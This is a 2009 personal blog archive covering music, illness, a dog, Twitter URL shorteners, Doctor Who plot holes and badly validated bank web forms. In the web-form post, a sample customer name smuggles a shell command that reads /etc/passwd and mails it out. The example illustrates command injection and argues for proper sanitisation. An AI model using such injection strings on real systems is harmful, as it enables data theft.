April 2009 Archives
This guy delivers
Max Raabe and the Palast Orchester
John Scalzi mentioned Max Raabe over the weekend, and I finally got around to listening today. ‘Max Raabe performs Tainted Love as if the Weimar Republic somehow made it to 1981’ is his description, and it’s pretty accurate. There’s a fair few Youtube “videos” of his songs around; my favourite of all his covers is (currently) Super Trouper. The Apple Store has some more tantalising covers, including what, from a 30-second clip, sounds like a fantastic version of Eurythmics’ There must be an angel.
I love this sort of stuff. Playing 80s pop songs in the style of a swing band from the 30s is a form of educated musical humour that is a sign of health in our cultural discourse. And it’s also the sort of thing that was almost impossible to get a decent audience for before the Internet and the realisation that, no matter how obscure your chosen interest, there are probably a thousand or so people somewhere that agree with you completely and want to find out what you’re going to do next.
Oh, and their cover of Let’s talk about sex is pretty damn good also.
The only sensible response to disease and mayhem is to make egregious puns.
Cleodhna came down with a cold last weekend; a particularly nasty one, which gave her a tremendous earache, and then gunged up her ears to a point where she was almost or completely deaf in at least one ear for a couple of days. It looks like I’m coming down with it as well.
Douglas Adams and John Lloyd wrote a book called The Meaning of Liff, which was about finding place names nobody uses, and using them to describe concepts that we all know about but haven’t found a word for. For instance, “Massachusetts” are the things we’re looking for when we blow our nose then open the handkerchief; “nice and Kentucky” refers to a situation where you e.g. slot a book into a remaining space in a bookshelf and it fits exactly and nicely.
Well, in the last couple of hours my nose has decided that what the world needed above anything else was more snot. I’ve found a random supermarket plastic bag, and a gap in the corner of the office between the book shelf and the disused old PowerMacs where the plastic bag does indeed fit nice and kentucky. To add to the veneer of sophistication, I have a roll of aloe vera-infused toilet roll on the desk. Occasionally I’ll tear a piece off, blow my nose, and deposit the resulting offering into the plastic bag, like a ticket for a Fungus the Bogeyman-organised raffle that nobody wants to win.
Now, given that on Wednesday Cleodhna and I are due to go to Brian’s for a game, and either of us might still be contagious, and the last thing a parent of a 5-month-old baby wants is for it to catch a cold that causes earache (because a baby with earache cries all the fucking time), this is arguably shitty timing. By the weekend we both should have recovered (my immune system, and my lack of asthma, means I don’t have to worry about coughing up interestingly-textured goo), which is good because that’s Jamie’s wedding, and the last thing you want to be at a wedding is an unhappy, no fun, Plague Mary. On the following Monday I head off to France for a fortnight. They’d better not have swine flu when I arrive.
(If you’re worried about swine flu, check out Making Light. See also a commenter’s link to a possible link between industrial-level pork production and disease, and another diary from dailykos on the same subject. Note that so-called moderates stripped pandemic funding from the recent US stimulus bill.)
Then again, perhaps I’m lucky after all. They say that when there’s a real bad-ass flu epidemic, healthy young people die disproportionally because their immune system reacts to such a degree that it ends up killing the host. In which case already being slightly ill might be a good thing. (Certainly xkcd agrees.)
In which case we have nothing major to worry about, and I should forward a few sick jokes (something that email stopped doing a few years ago). e.g. RT@ArianeSherine “If we’re calling Swine Flu an “epigdemic” & “hamdemic”, am I allowed 2 talk abt having the trots & being cured by oinkment?”
Or, from Warren Ellis: “Adult film industry invades swine-flu decimated Mexico, converts empty homes into sets, establishes the pornocracy of Sexico”
Or, my favourite, “Don’t worry, I’m only giving sinners the swine flu.”
How do I know this? Because I’m following God on Twitter.
Part 94 in an occasional series.
Taji is not a bad dog. Well, not inherently. He was just badly brought up. He jumps up at people, we still can’t trust him around joggers and other dogs so he has to be on lead all the time, and he just doesn’t understand the concept of not being allowed to take things off surfaces. This is something you have to teach a puppy at an early age or they just won’t ever grok it, and his previous owners clearly didn’t teach him this valuable distinction. They taught him to wrestle, though, and to drink alcohol, which is nice.
(Our next dog, after a rescue dog that barks at any black dog, ever, and another rescue dog that takes things off tables and likes to drink out of Cleodhna’s wine glass? Definitely a puppy from a reputable breeder, that we can train properly. I think we’re due that.)
A case in point: yesterday I wandered into the kitchen to find a) Taji busy licking at something on the floor, and b) torn fragments of the wrapper to a pack of butter I’d bought only earlier that day. Meaning that not only had Taji wandered into the kitchen and grabbed an almost entire pack of butter off the counter, he’d also eaten half of the wrapper in his eagerness to ingest far too much fat than is good for anyone.
Earlier this evening, the inevitable second act of this cautionary tale occurred. Summoned by cries from the other room along the lines of “Get away from that!”, I hastened to the living room to find Cleodhna fending Taji off from a repulsive yellow pool of slightly butter-smelling dog vomit.
This is the sort of situation where human and dog psychology deviate. Most of the time we can agree on a few basic principles: sun, food, warmth, comfy beds good; rain, cold, annoying other people / dogs, pain bad; people stabbing needles into you bad if you know it’s coming. Cleodhna successfully distracted Fat Petunia at the vet’s the other day by feeding him very small treats very slowly (so he had to nibble), and he only bucked once, right at the end, when he suddenly realised “Oh my God, you’ve had a needle in me for how long now?” Similarly, I remember as a 10-year-old child suffering agony while a travelling nurse injected some evil substance in my arm, millilitre by millilitre, to check whether I need a BCG vaccine; when, a week later, it turned out I needed it, and we went to our family doctor, he had the needle in and out of my arm so quickly that I didn’t notice he was doing it while he was talking to me about other things.
At other times, though, dogs just think differently from us. We think “that smells foul”, they think “that smells lots!” and proceed to roll in fox shit, dead pigeon, rotting fish or whatever. We think “damn, that pile of yellow goop that Taji just threw up makes me want to throw up in turn, it’s so foul”; Taji thinks “hey, look, I threw up a bunch of stuff; I should eat it up again just in case it stays down this time”.
Which is why, while Cleodhna found a handkerchief, doused it with strong-smelling menthol oil of some kind, and proceeded to clean up the area of the living room bombarded with yellow fatty dog vomit, my job was to make hot water available to souse dog puke disposal utensils, hold bin liners open so Cleodhna could get rid of barf-infused newspapers, and most importantly physically drag Taji away from the living room and lock him in the bedroom to forestall any further valiant attempts at Operation Dog Chunder Plunder.
Taji is currently very happily sat on the sofa in the living room as if nothing traumatic happened - which, from his perspective, may well be true. He may well have forgotten all about it.
Twitter shortens URLs even when it doesn't need to.
I’ve started to use Twitter again, mostly as a way of doing quick linkdump posts that aren’t anything more than “Hey, I found this cool thing, go have a look”, but with occasional random chatty things as well. I was chuffed to bits when I randomly typed “I have achieved one of my goals in life. I have worked out how to play Dancing Queen in a minor key and have it sound creepy and disturbing.” and found that it was exactly 140 characters long. (Which doesn’t always happen.)
Twitter’s 140 character limit was originally a technical requirement imposed by the fact that the original idea of using SMS as a transport mechanism meant that a message, sending username included, could only be 160 characters long. 140 was, I suspect, derived by saying “this is the future, usernames are longer than 8 characters these days, and we need a colon; how about we say we reserve 20 characters for the username, colon, and future expansion”.
And these days a Twitter Pro with no post length restriction sounds plausible enough at a first glance, but was never likely to be anything other than a clever April Fool’s prank. There are other reasons for why Twitter made it big - one plausible reason is that by telling you when you’re being followed, but not when someone stops following you, Twitter avoids the problem earlier social networks had with the social stigma of being unfriended. But its enforced lapidary nature is surely a major part of what it means to tweet, and be twittered. So the 140 character limit is probably here to stay.
Still, there are problems with this, mainly when it comes to passing around URLs. There are plenty of URLs that are longer than 140 characters - while the SEO-friendly Amazon URL for the 30th anniversary edition of Richard Dawkins’ The Selfish Gene (to choose a random example from Amazon’s front page just now) is the fairly trim http://www.amazon.co.uk/Selfish-Gene-30th-Anniversary/dp/0199291152, the URL I get from Amazon’s front page is e.g. http://www.amazon.co.uk/gp/product/0199291152/ref=s9topdgwtr01?pfrdm=xxxxxxxxxxx&pfrds=center-8&pfrdr=xxxxxxxxxxxxxxxxxxxx&pfrdt=101&pfrdp= xxxxxxxxx&pfrd_i=xxxxxx (potentially personally-identifiable information occulted). Plenty of URLs are Enterprisy rather than friendly, and in any case if you want to talk about this cool website you found, chances are you want the URL to merely be a springboard for what you have to say, which means it should be as short as possible.
Twitter’s default solution is to turn URLs into shorter versions, via tinyurl.com. Tinyurl.com is a mature site, and lets you see where an otherwise anonymous link is taking you, but a number of URL-shortening sites have sprung up recently that are supposedly better. The problem is, these URL shortener sites are the wrong solution, with problems of their own: just as we were getting used to how URLs work, and learning not to click on suspicious-looking links in phishing emails, suddenly we’re back to having to blindly click on links, and in cases where we’re following links from a months- or years-old post, hope that the link still works. And that’s assuming that the URL shortener service is well-intentioned and benign, which is not always the case (Digg appear to be in the process of cleaning up their act since then, though). Hence why there’s an emerging standard for specifying canonical short URLs, so you can paste a huge long URL into Twitter, or a Twitter client, and it will automatically fetch what the remote site says is the canonical short URL, rather than generating a new one via a service that may not necessarily be reliable or trustworthy. (In Amazon’s case it might tell you that http://www.amazon.co.uk/gp/product/0199291152 is good enough.)
All of which is a very roundabout way of kvetching about the way Twitter’s website chooses to shorten URLs. I just posted the folllowing tweet about a fun Youtube video I found via Boing Boing:
How to make a baby: http://www.youtube.com/watch?v=luf6ZepNY6o (via http://www.boingboing.net/2009/04/20/revealed-where-babie.html)
That message is 131 characters long. Yet Twitter decided to shorten it to
How to make a baby: http://tinyurl.com/dgxhup (via http://tinyurl.com/d35ltm
Twitter didn’t need to do that; the message was already within the 140 character limit. But in doing so, it made two adjustments:
It shortened the YouTube URL from 42 characters to 25 characters, but threw away the important information that this was something on YouTube.
It decided that the ending ) was part of the URL, so if you follow that link to Boing Boing, you get a page not found error.
And of course by turning the URLs into something else, your browser no longer knew that you’d seen that site already.
Of course, the savage, bitter irony is that I’m going to post to Twitter that I just posted this blog entry, and because I haven’t patched Movable Type to generate authoritative short URLs on illuminated.co.uk I’m going to have to use a third-party URL shortener.
#amazonfailfail; or, RT @oldcodger: You kids, get off my lawn!
Flame wars are endemic to the written Internet. With societal restraints removed, and far fewer audible or visual cues to pick up on to realise that someone’s not being entirely serious, one misunderstanding or less than artful phrasing can quickly cause a mild disagreement to snowball into a spittle-flecked mass outburst of opprobrium and hatred.
This much we’ve known for a while. I read somewhere that one mailing list operator prevented flame wars by the very simple method of delaying emails by 5 minutes. By the time you got the snarky reply to your snarky comment, you’d probably cooled down, and calm heads prevailed.
Of course, nobody emails any more; these days, all the cool kids are using Facebook and Twitter. And we find ourselves needing to learn the same lessons again.
Last Sunday (Easter Sunday, when pretty much everyone at Amazon was on holiday), some people on the Internet suddenly noticed that a metric shitload of gay- and lesbian-themed books had suddenly effectively vanished from Amazon’s searches and sales rankings. Twitter was suddenly engulfed by a flurry of #amazonfail posts; for more information see Making Light and its comment thread. See also Moments in Time - and again - for a whole plethora of other links.
As soon as Amazon management got back to work, it became apparent that the whole thing was in fact a stupid mistake caused by a data entry / business logic over-reaction that went horribly wrong. And in retrospect, although you can argue that the very fact that whole sections of gay- and lesbian-friendly literature were catalogued the way they were made them peculiarly vulnerable to mass-delisting, this is arguably something that could have happened to any company. One mistake, no matter how dramatic its consequences, doesn’t automatically turn a previously reasonable and tolerant company into a seething morass of homophobia and bigotry.
I have been thinking about the internet as hard as I can for the better part of two decades, and for the latter half of that time, I’ve been thinking about the problems of categorization systems, and it never occurred to me that the possible explanation for systemic bias might be something having to do with a technological system instead of a human one, that a changed classification in the Amazon database could trigger the change in status of tens of thousands of books.
I assumed (again, vaguely) that Amazon themselves had not adopted an anti-gay posture, and I recognized the possibility that this might be a trolling attack, but the idea that this was an event of mainly technological propagation, rather than a coordinated bit of anti-gay bias, simply escaped me. This isn’t because I am a generally stupid person; it was because I was, on Sunday, a specifically stupid person. When a lifetime of intellectual labor and study came up against a moment of emotional engagement, emotion won, in a rout.
As the old-school bloogers say, read the whole thing. I mean, you should read Clay Shirky if you’re at all interested in the Internet and smart people anyway, and I’m not entirely sure why I
don’t have him in my RSS reader didn’t have him in my RSS reader until just now.
I found myself seeking out friends or colleagues of mine that were on Twitter today. I can see the appeal (and the time-sink) of microblogging, but I think we need to be aware of the limitations of the medium. And not just because URL shorteners destroy the Internet.
NSFW if you know what it means. If you're a Republican, go right ahead.
Exhibit A: the Rachel Maddow show.
Exhibit B: David Schuster.
Crucially, exhibit C: What urbandictionary.com has to say about the term.
The constant repetition of the poor guy’s grisly demise is oddly fascinating. It’s like that joke about how someone is mugged in New York every 5 minutes - must suck to be him.
In the comments, someone finds this Youtube clip which makes even less sense (it doesn’t help that the YouTube logo overwrites some of the crucial parts of the subtitles):
You won't read it anywhere else, and it appears to be true.
A few days ago I read a widely-blogged article by Johann Hari about the dark side of Dubai: the glittering towers have been built by effectively slave labour, financed by a non-renewable source of debt, run by an archaic government that tolerates no opposition, in a desert environment polluted by sewage that is fast running out of water. The most striking theme of the (long, but worthwhile) article is the sheer number of people that he talks to who either don’t see, or don’t care about, the monstrous level of exploitation and racism this society is built upon.
Today I read that the pirate problem in Somalia is also not what it seems (via jwz. Amongst other things, in the absence of a proper government, Europeans are dumping nuclear and chemical waste off the shores of Somalia (this much is backed up by an official UN report (PDF) someone posted in the Independent comments, and reposted in jwz’s comments - page 10 in the PDF, labelled page 135), and looting their fishing resources at an unsustainable level (not documented as yet, but given the EU’s past history in e.g. Mauritania, that doesn’t sound at all surprising).
And it turns out this is the same guy that interviewed Tony Blair for Attitude magazine (they’ve put it behind a subscription paywall, so here’s Hari’s take on it).
All in all, I think this is someone worth reading. Bookmark the Independent’s link to his columns, or put the related RSS feed into your feed reader.
Russell T Davies's plots continue to have major, fundamental holes.
It seems that Russell T Davies is at it again. Tonight’s Doctor Who special, “Planet of the Dead”, was immense fun, had a great companion, and was in many ways classic Doctor Who (the Doctor’s stuck in a red double-decker bus in the middle of the desert, and the Big Bad is only minutes away - unless the Doctor can sort things somehow). But many, many things appear to have been stuck in the plot because they sounded sort of cool, without much, if any, thought to the ramifications.
First of all, what sort of half-arsed security system do they have for the gold cup that Lady Christina steals? Count the security flaws:
There are four static guards, who can see neither any other guard (so won’t know if the guard gets knocked out) nor the cup they’re supposed to be guarding (so don’t realise it’s stolen). There aren’t any guards patrolling to add some random element; the guards are in a routine, predictable situation. The laser barrier starts above a guard’s knee-height and is therefore trivial to slide under, or for that matter jump over if you’re good enough (the high jump world record is just over 8 feet); it’s not a complex barrier stopping anyone getting in from either side, it’s just a fence. There are no motion detectors or infra-red heat detectors or anything like that. There are no cameras. The cup is stolen using the exact same method as Indiana Jones uses to steal the Golden Idol from a pre-industrial dungeon in Raiders of the Lost Ark.
Our heroine steals the cup by abseiling in, in exactly the same way that Tom Cruise did in the first Mission Impossible film, except that she doesn’t have to worry about body temperature or anything. In truth, though, any passing vandal could have had a similarly devastating effect on the value of the cup by merely wandering in with a crossbow and shooting the damn thing (gold, remember, is remarkably soft for a metal), as there isn’t even a glass case around the damn thing, even though it’s supposedly on public view in the middle of a busy museum. What’s to stop some random member of the public grabbing it and doing a runner? Apparently nothing, unless they had a perfectly serviceable glass case and velvet rope during the day time, but took them away just after closing time so they could wheel out the world’s most easily-penetrable laser field system.
The aliens, though, are even worse.
They’re supposed to be 100 miles away, and are so fast that they’ll “be here in 20 minutes” (i.e. fly at 300mph), but when we actually see them they’re moving at 30-50mph tops. Oh, and they’re moving with a swimming motion (like the stingrays they’re based upon), as if they didn’t have to worry about pesky gravity, despite us being informed that, to armour themselves against the damage they’ll take by passing through the wormhole, they’ve infused their exoskeleton with metal. The wormhole is some sort of emergent property of there being billions of these things, going faster and faster around the planet until they
go back in time and rescue Lois make some magic door happen, but why aren’t they creating wormholes all over the place? What’s so special about the place they’ve created this one?
They turned up less than a year ago and started eating everything they could find until an advanced civilisation of 100 billion people was completely wiped out, yet they’re vulnerable to bullets. How come the native civilisation didn’t realise that a whole bunch of flying creatures had suddenly appeared and was e.g. eating their skyscrapers?
For that matter, how come the ant-headed guys didn’t think, when they turned up in orbit around the planet, “Hang on, this planet’s supposed to be green, but instead it’s orange”? And how likely is it, given that they had an entire planet to choose from, that they’d have crashed just two sand dunes over from the bus? Even assuming that there’s something special about the capital city of this planet, which is why the wormhole apparently turned up there, how come the flight path, and subsequent crash path, took them right to the centre of the city? (Even if you assume that they somehow managed to go straight down from orbit, which you can’t do without burning up, I’m guessing they put the space ports for this sort of thing somewhere other than in the middle of the most important city on the planet, which, on a planet of 100 billion people, must be pretty big.)
The thing is, there are a number of ways you could have explained at least some of these, if you cared about basic science, but as we’ve seen before, Russell T Davies hates science. You could talk about their flight patterns generating waveforms, and at the point where they all harmonise, there the wormhole appears. (There could of course be multiple possible wormholes, but maybe they’re too far away for us to get there, and this one happens to be the most advanced.) Given that there’s talk of life cycles of what is clearly a hive species, you could easily have a large number of very, very fast fliers creating the conditions for the wormhole, and the actual dangerous creatures being the queens of the species, who move slower but are armoured against the crossing. You’ll still have the problem of explaining how these creatures can find enough food to feed billions of themselves (or, conversely, if they can feed off anything, including metal, why they aren’t burrowing into the tasty, tasty metal core of the planet), but at least you’ll have shown some sort of effort.
Incidentally, one area where I’m inclined to give Russell T Davies a pass is the whole Faraday cage thing. When the protagonists discuss why it is that they could come through the wormhole intact while the bus driver got skeletonised, both Lady Christina and the unemployed kid postulate that it’s because the metal chassis of the bus forms a Faraday cage. The Doctor them promptly dismisses that idea, saying that the science of wormholes doesn’t work like that, but they’ll be safe in a bus anyway. I originally thought “This is RTD in another of his ‘fuck you, science’ moments”, but if you watch Doctor Who Confidential for this episode, it turns out that the bus was supposed to be intact.
The only way to get a double-decker bus from the UK to Dubai, where the episode was shot, was by ship; and, being significantly bigger than a standard container, that meant the bus had to be on the deck of the ship. This isn’t something that happens often, so you can understand, if not forgive, a crane operator smashing the hell out of the upper deck of the bus with a container by mistake. Cue a last-minute script rewrite.
Anything you can do, I can do better.
The most dangerous person you're ever likely to encounter is the one you see in the mirror every morning
Each year, "4,000 of us will drown. A significant percentage will be fishermen found floating with a high blood alcohol content and an unzipped fly."
Via Bruce Schneier, just how likely anything is to kill you in any given year. Axe murderers and terrorism are not high on the list.
About the moon-a and the June-a and the spring-a
Other people make you funnier.
Cleodhna: “That didn’t come out as I intended”
Me: “As Mary said to the Archangel Gabriel”
For people who want to watch Match of the Day online without the BBC's website spoiling everything.
Match of the Day is on the Internet - hooray! Unfortunately, it’s not on its own part of the Internet - boo!
One of the good things that has happened in the last year or two has been the ability to watch Match of the Day (or Match of the Day 2) on the BBC’s website. To anyone with a decent Internet connection and a large enough monitor / comfortable enough desk chair, this neatly solves the problem of not being able to watch Match of the Day on the telly because a) you live in Scotland and BBC Scotland is showing rubbish Scottish football, or b) your wife is watching Family Guy. It’s streaming only (I presume because of the BBC’s agreement with the English Premiership), and it’s on when England thinks MOTD should be on, not necessarily when your local BBC station scheduled it, so you’ve got to be careful there, but those are minor complaints.
The main problem is rather more serious: it is almost impossible to watch Match of the Day online without spoilers. Which is deeply unfortunate, as surely the main reason for watching a highlights programme is so you can a) see the salient points of all the games without having to sit through a 0-0 bore draw between two mid-table teams you don’t care about, but yet b) maintain the excitement of watching a number of live games by not knowing in advance how the scores ended up.
The news used to say “If you don’t want to know the results, look away now.” The BBC’s website doesn’t let you look away.
How the BBC makes it really hard for you not to know what happened
There are two places you can go to watch Match of the Day online (assuming it’s on). The most obvious one is the BBC’s main football page. You can also go to the individual page for each programme (e.g. this one apparently from last November, although I think I grabbed it later than that). In both cases you’ll have links to other related video - and the headlines give a lot away.
At the moment, the five most popular sport videos are:
- Win puts pressure on Man Utd - Benitez
- We were punished for mistakes - Shearer
- Late goal ‘bitter pill’ for Hodgson
- Highlights - Malaysian GP qualifying
- ‘Squeaky bum’ talk baffles Benitez
You only need to glance at those headlines to know that Liverpool won, Newcastle and Fulham lost. In this particular case this only spoils two games because Liverpool were playing Fulham, but still, this is the two main games of the evening.
And this is on the individual page - whose URL you can’t bookmark or guess because it changes each time. On the main page you’ve got a plethora of links to various news articles, all of which give away either the gist (‘Arsenal getting stronger - Wenger’) or the result (‘Newcastle 0 - 2 Chelsea’) of a game.
If you want to watch Match of the Day online without seeing any of these spoilers, you pretty much have to go to the main football page and stare intensely at the part of the page where the video’s going to load (making sure your gaze never wanders, because if it does you’re screwed), and then clicking the “Full screen” button on the Flash player as quickly as you can to make sure that those goddamn spoilers are on screen for the shortest possible time. I’ve found myself hanging dish cloths over my monitor to hide the right-hand spoilerriffic column at times. That can’t be right.
Now, the reason why the BBC’s website does all of this is that they’ve got two incompatible things: a news website that tells you what’s happening as soon as possible, and a highlights programme that is designed to simulate the afternoon as it happened. Match of the Day is only on for about a couple of hours per week, whereas stuff is happening in the news all the time, so the news wins.
Still, surely we can do better than that?
I’ve just done better than that
I’ve set up a simple website, matchofthedaynospoilers.co.uk (or motdnospoilers.co.uk for lazy typists), which intends to be the solution to this problem. If you go have a look right now, chances are there’ll be nothing much on the site because Match of the Day (or Match of the Day 2) isn’t on TV at the moment. But when there’s streaming video on the BBC’s Football page, you’ll see it on motdnospoilers.co.uk without all of the annoying bumf.
I’m sure there will be teething problems with it - for one thing, I haven’t had a chance to test it live yet; I’ve been using saved versions of the BBC’s Football home page. Still, it was a fun itch to scratch - working out how much of the BBC’s website you actually need to get their video player to work, and the best way to do that without raping the BBC’s bandwidth. I hope it’s of use to someone - and next month when I’m in France, that someone will be me.
Also, the American right-wing media is insane.
Barack Obama gave the Queen an iPod the other day, and the American right-wing media went berserk: didn’t he know that she already had an iPod?
Except that she had an old iPod that didn’t play video; she asked for a newer one, and was reportedly delighted with the gift.
Now, on one level this just goes to show the sort of drivel that the right-wing media can dig up and claim to be news. What’s interesting to me is what it must be like to be the Queen.
Ordinary people, having decided they wanted an iPod, would check whether they could afford one, find out where to get one, and either go out and get one, or order it online.
The Queen, on the other hand, having decided she wanted an iPod, clearly thought “Who makes the iPod?” and, realising that it was America, told her staff “Have the President of the United States bring me one when he’s next over”.
(Incidentally, that must be one of the best perks of working at the White House: someone asks you how your day was, and you can say “You know, nothing special; bought an iPod for the Queen.” I wonder what your Amazon recommendations would look like if you only used your account to buy presents for foreign heads of state.)
Taji Totoro Nightshade has acquired a nickname.
Cleodhna was concerned about Taji’s energy levels the other day, so we booked him into the vet. Nothing amazingly worrying, but he doesn’t like to be out walking too long (he sits down and refuses to budge), and he gets a bit out of breath after going up our measly two flights of stairs.
We took him in yesterday, and two things became apparent. First of all, Taji has put on a remarkable amount of weight in a short space of time: he’s now 34kg, and he was 28kg when he was last at the vet’s just a few months ago. And secondly, he’s an enormous wuss.
We had some inkling of this when he was last at the vet’s to get his anal glands de-squirted. (Some dogs can get their innards gummed up; if it’s not treated, they start to act increasingly uncomfortable, until the whole thing finally cures itself in a messy and unspeakably smelly mess. After this happened to Habibi, we’ve got more pre-emptive about the whole thing.) This is something the vets are used to doing; put on a glove, stick your finger up the dog’s arse, poke around for a second or two, and you’re done. Most of the time it’s over so soon that the dog hasn’t managed to work itself into any sort of fuss.
Not with Taji. As soon as the vet went anywhere near him he was bucking and yipping.
But that could have been a one-off - after all, of all the interactions with a human being a dog can reasonably expect to have, them suddenly sticking their finger up your arse isn’t one you’d expect. Maybe it was the nature of the exercise rather than some innate nervous Nelly tendencies.
No such luck. We ended up needing a muzzle (mostly to stop him licking the vet’s face) and three people to hold him still. And what was the nature of this dastardly, unfair, painful and humiliating procedure? A simple blood sample from his front leg.
On the car on the way back, Cleodhna started calling him names. Things like “lard-ass”, “fat boy” because he was overweight; “pansy” and “petunia” because he was such a scaredy wuss-bag. Somehow the two trends merged into a hideous conglomeration.
Taji Totoro Nightshade. Now known, and possibly for the rest of his life, as “Fat Petunia”.
(What’s up with the weight gain? We don’t know. The vets did a blood test which was inconclusive, and there’ll be more tests to come, possibly involving a referral to the Vet School. Happily we are on the right end of the three-point scale as far as our vet is concerned, being Not insured / Insured / Insured with PetPlan. Given that a large tax bill from France arrived this week, not having to worry about paying for, or rationing, Taji’s health care is a Very Good Thing. If you have animals and they’re not insured with PetPlan, switch.)
A reminder of the eternal validity of Sturgeon's Law.
Phone number, motherfucker! Do you speak it?
There’s nothing that pisses me off quite so easily and frequently than an encounter with a web site that gets in my way because whoever wrote it didn’t think. (Or was too lazy or ignorant to care; the results are the same.)
Here I am, filling out my address details, and the web site repeatedly gets in my way. It asks me for my home phone number, so I type in 0141 339 xxxx. Or rather I try to, and then run out of room, because the genius who wrote the form thought “UK phone numbers are 12 digits, so I’ll make the form field 12 characters long”, which a) is wrong (they’re 10 or 11 digits long, assuming you don’t have to mess around with extensions), and b) is amazingly unhelpful, given that phone numbers are usually written down with spaces, and that’s how people think of them.
Perhaps there’s a reason why my credit card company has tried to make it easy for me to read my credit card number?
Stupid web designers do this with credit cards as well, and it drives me up the wall. You get out your credit card, which is typically displayed as 6759 0123 4567 8901 for convenience, so that’s how you type it in. And you get to the 8, with three digits left to type, and you realise you’ve run out of room, because the web designer thought “credit cards are 16 digits long” so only gave you space for 16 digits. Never mind that some credit cards are perfectly legitimately 19-digits long. What’s even worse is when the form gives you enough space to type a credit card with spaces in it, but if you have the nerve to do that the form complains that you’ve entered an incorrect credit card number.
For fuck’s sake, how hard is it to strip spaces from a sodding 20-odd digits text field? You should be coping with the stuff people type in rather than lecturing them on how your internal structures work. Telephone numbers in the UK consist of an area code, a space, and then one or two sets of digits, depending on how large the area is and therefore how many digits you need to give everyone a phone number. They’re printed that way, and people think of them that way. Don’t erect annoyance barriers just because you’re too lazy or incompetent to deal with one of the simplest tasks any programming language has to deal with.
Similarly, credit card numbers are divided into 3-, 4- or 6-digit chunks so you don’t have to keep the entire number in your head (which you can’t do because they’re at least 13 digits long and the brain can’t handle more than about 7±2). Which is bloody useful if you’re reading a card number to someone over the phone, or you’re looking at your card, then switching to looking at your keyboard or your screen while you type; you only have to worry about the particular group of 3-6 digits you’re telling someone, or typing.
Cargo-cult developers all live in houses or main-door flats, apparently
But this isn’t the worst sin. I can, after all, enter my credit card number without spaces and it will eventually work. Abbey National’s website goes one better by refusing to acknowledge my address in any shape or form.
I live in Glasgow, in a tenement flat, and as such my address looks like “2/2 23 Street Name, Glasgow G12 nXX”. I’m betting none of the people who wrote the website’s data validation code live at such an address, because if I try and enter my address, the website complains that it’s incorrect. The worst thing is, I’m almost certain I know why they’re saying this: because they think that slashes (‘/’) are inherently evil.
Now, to be sure, there is a danger in blithely trusting anything you’re given. Suppose someone’s signing up for your latest online thingy, and you want to make sure they’re not already a customer of your old creaky legacy system because otherwise the sales guys will go through your customer database and get huge commissions but the company doesn’t actually gain new customers. So you’ve got a customer name, let’s call it
$cust_name because that’s how programmers talk, and you decide to run the system command
check_customer --name "$cust_name". That works fine until a malicious attacker guesses that you’re doing something like this, and through trial and error comes up with the baroque customer name
John Smith"; cat /etc/passwd | mail firstname.lastname@example.org; " and suddenly you’ve found your program tricked into emailing the contents of your list of users to someone who almost certainly is up to no good.
(Yes, yes, these days /etc/passwd is pretty much useless to an attacker, but it’s the standard example, and it’s more readable than the almost line-noise involved in installing a root-kit on a machine.)
Cross-site scripting (called XSS so not to conflict with Cascading Style Sheets) and SQL injection (e.g. this notorious xkcd webcomic) are pretty much the same thing: if you’re going to take something someone typed on the Internet and assume that it won’t cause problems, eventually you’re going to find yourself dead wrong and in a load of trouble.
The problem is, whoever wrote the web form at Abbey National had clearly heard of the idea of validating user input and making sure you weren’t tricked into doing compromising the security of your systems; but, in true cargo-cult fashion, only dimly understood the problem, and learned the wrong lessons. What they should have learned was “don’t trust the user, and make sure that anything you pass to an external process is properly sanitised before use”. What they learned instead, though, was: “anyone using slashes is trying to hack the webserver”.
Maybe I should test my code before inflicting it on the poor, unsuspecting world?
But blithely assuming that slashes are evil isn’t the worst sin either. I mean, I can just say that I live in 23 Street Name rather than 2/2 23 Street Name, and assuming my postman isn’t a complete cretin I’ll still get any post you decide to send me. I told a number of French companies that I lived at 23 rather than 2/2 23, mostly because I couldn’t remember what the French was for ‘slash’, and it gets to me.
No, what lifts this particular failure into stratospheric “OMGWTFBBQ you did what now?” territory is that the same company that decides that I can’t have a slash in my address also has a complete copy of the UK postcode database. And, guess what, the UK postcode database is chock-full of addresses that contain slashes. So the solution to your problem isn’t to have some bolshy Glasgow resident on your team who tells you to stop being so fucking stupid about slashes, or who knows that Edinburgh tenement addresses tend to be e.g. ‘2f1 25 Street Name’ (there are plenty of web sites that don’t accept that either). The solution is to test your data validation code against addresses that you know for a fact to be valid, because you paid good money to the UK Government to get a complete list of them.
There are many popular software development mantras, most of which are either transparent bullshit or promoted by over-zealous afficionados as some sort of universal salvation rather than a pragmatic approach to doing your fucking job. But sometimes a startlingly good idea can emerge from all the nonsense, like, for instance, the idea that if you’re writing code to make sure that your inputs are sane, and you’ve got a metric fuckton of valid data, maybe you should set loose one against the other.
So this is really the worst sin of all: someone wrote a website that took customers’ address details, blithely decided that some things just Weren’t Allowed because of poorly-understood ideas about security, and didn’t test their code against a huge list of valid addresses that they already had.
About that sub-heading
Sturgeon’s Law, in its simplest form, goes like this: “90% of all science fiction is crud; but then, 90% of everything is crud”. It explains why whenever I say “I write the dynamic parts of websites that let you buy stuff online”, I have to say, because of incompetent mouth-breathing fucktards that wrote Abbey National’s website, “but I’m not like those morons”.
Needless to say, Abbey National aren’t getting my business.
Lloyds TSB sprung the same goddamn thing on me, except that I entered my post code, chose my address from the list, and then they complained that information submitted to their form from the goddamn UK postcode database was invalid.
Please check your entry for this address line, you’ve entered a character that is not allowed in this box. You can type in (A-Z), (a-z), (0-9), space, apostrophe (‘), hyphen (-).
Now, I’m aware that many people think that Glasgow is a terrifying shithole, but surely that’s not a reason for arbitrarily fucking over people who live in the far more refined and salubrious neighbourhood of G12?
These three images were posted in succession. I’m not just cherry-picking:
The Nielsen Haydens go to Europe:
Postulate that, forgotten to modern history, Rome once had a space program. Perhaps in that historical era after the Risorgimento but before the Renaissance. And during that time, they built a generation starship, miles and miles across, whose entire purpose was to supply an entire colony planet with monumental architecture and colossal, outsized building decorations. Tragically, this vessel exploded on takeoff, scattering its payload in all directions. This would explain some things, but only some things, about Rome.
And Irfan at work sent me this:
I love the Internet.